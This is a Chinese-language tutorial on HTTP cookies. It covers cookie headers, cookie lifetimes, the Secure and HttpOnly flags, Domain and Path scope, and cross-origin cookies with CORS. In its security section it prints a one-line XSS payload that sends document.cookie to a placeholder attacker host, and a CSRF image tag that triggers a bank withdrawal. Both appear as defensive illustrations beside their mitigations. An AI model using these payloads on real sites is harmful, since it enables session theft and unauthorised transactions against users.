HTTP cookie(web cookie, browser cookie)是服务器发送给客户端浏览器的数据片段。客户端浏览器将保存这段数据并在下次访问同一个服务器地址时带上这段数据。通常,它被用来识别两次请求是否来自同一个浏览器,保持用户的登录状态。比如,它为无状态的HTTP协议记录了状态信息。

Cookies主要被用作以下三个方面:

  • 管理session

    登录、购物车、游戏分数或者其他任何需要服务器记忆的行为

  • 个性化定制

    用户爱好、主题以及其他的设置

  • 跟踪记录用户行为

    记录和分析用户行为

Cookies 曾经一度被用来做客户端存储。因为在当时这是唯一的一种在客户端存储数据的方式,因此被认作是合理的。现在的本地存储一般被推荐使用现代本地存储APIs。Cookie在每次请求中都会默认被发送,因此这可能会导致效率问题,尤其是在移动端。现代关于客户端存储的APIs是Web 存储APIs(localStorage 和 sessionStorage)以及IndexDB

创建cookie

当收到一个HTTP请求时,服务端会返回一个带有 Set-Cookie 头部的回应。cookie通常被客户端浏览器保存,在之后的对该服务器的请求中,保存的cookie将以 Cookie 被添加在HTTP头部中被发送。过期时间以及有效期字段均可以被指定,超过指定的时间或有效期后,该Cookie将不在被发送。另外,严格的指定 domainpath 将限制cookie的发送。

Set-Cookie以及Cookie头部

HTTP响应头部 Set-Cookie 将cookie从服务端发送给用户客户端。一个简单的cookie 设置是这样的:

1
Set-Cookie: <cookie-name>=<cookie-value>

服务端响应头部告诉浏览器客户端保存Cookie。

1
2
3
4
5
6
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

之后的每一次请求,客户端浏览器都会将之前存储的cookies发送至服务器,如:

1
2
3
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

上述方式创建的cookie被称之为 session cookie。当客户端浏览器关闭时,cookie将被删除,因为在cookie创建的时候并没有指定 Expires 或者 Max-Age 字段。然而web浏览器可能会使用 session restoring 将session cookie持久化,就像浏览器从来没有关闭的一样。

相比于在浏览器关闭的时候就会过期的 session cookie, 永久性cookie会在特定的日期(Expires)或者特定的时间长度(Max-Age)失效。

安全的Cookie只通过HTTPS协议通过加密的请求发送到服务器。即使安全,敏感的信息也不应该存储在cookie中,因为他们本来就是不安全的。Secure标志不能提供真正的保护和安全。从Chrome 52和 FireFox 52开始,不安全的网站(http)将无法使用Secure字段设置Cookie。

为了防止跨站点脚本(XSS)攻击, HttpOnly Cookie无法访问JavaScript提供的Document.cookie API。它们只发送到服务器。例如,持久化服务器端会话的Cookie不需要被客户端JavaScript可用,HttpOnly字段应该被设置。

Cookie的作用域

DomainPath 指令定义了cookie的作用域,即定义了哪些URL应该发送cookie。

Domain字段指定的域被允许接受cookie。如果未指定,则默认为当前文档位置的主机,不包括子域。如果指定了domain字段,则始终包括子域。

例如,如果设置了Domain = mozilla.org,则会在子站点(如developer.mozilla.org)中包含Cookie。

Path字段表示必须存在于请求的URL中的URL路径才能发送Cookie头。 %x2F(“/”)字符被认为是一个目录分隔符,子目录也将匹配。

例如,如果设置了Path = / docs,则这些路径将匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

JavaScript使用Document.cookie操作cookie

也可以使用Document.cookie属性通过JavaScript创建新的Cookie,如果未设置HttpOnly标志,那么也可以从JavaScript访问现有的Cookie。

1
2
3
4
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

安全性

会话劫持和XSS

通常在Web应用程序中使用Cookie来识别用户及其认证会话,因此窃取cookie可能会导致篡改认证用户的会话。窃取Cookie的常见方法包括社会工程或利用应用程序中的XSS漏洞。

1
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly cookie属性可以通过JavaScript阻止访问cookie值来帮助缓解此攻击。

跨站点请求伪造(CSRF)

下面这种情况,在这种情况下,有人包含一个不是真正的图像的图像(例如在未过滤的聊天或论坛中),而是真正要求您的银行的服务器提款。

1
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

现在,如果您已登录到您的银行帐户,并且您的Cookie仍然有效(并且没有其他验证),则在加载包含此图像的HTML时,您将立即转账。有几种技术可以防止这种情况发生:

  • 与XSS一样,输入过滤很重要。
  • 任何敏感的行动都应该总是需要确认。
  • 用于敏感操作的Cookie应仅具有较短的使用寿命。

跨域情况下如何发送cookie

浏览器的安全基石“同源策略”在一定程度上避免了一些漏洞。其目的是为了保证用户信息的安全,防止恶意的网站窃取数据。在同源策略的基础上,如果是非同源的话,将限制以下三种行为:

  • Cookie、localStorage、IndexDB无法读取
  • DOM无法获得
  • AJAX请求不能发送。

CORS(跨域资源共享)是目前的一个W3C的标准,允许浏览器向跨域服务器发送请求。相对于其他的几种跨域方式,CORS应用范围广。在CORS请求中,其默认不发送Cookie和HTTP认证信息,如何将cookie添加到请求头部发送给服务器,一方面需要服务器同意,指定 Access-Control-Allow-Credentials 字段。

1
Access-Control-Allow-Credentials: true

另一方面,需要客户端在发送请求时,设置 withCredentials属性。

1
2
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

或者

1
2
3
4
5
6
$.ajax({
url: a_cross_domain_url,
xhrFields: {
withCredentials: true
}
});

注意:跨域发送Cookie时,Access-Control-Allow-Origin就必须指定明确的域名,不能指定为星号。


参考文章:

跨域资源共享 CORS 详解

HTTP cookies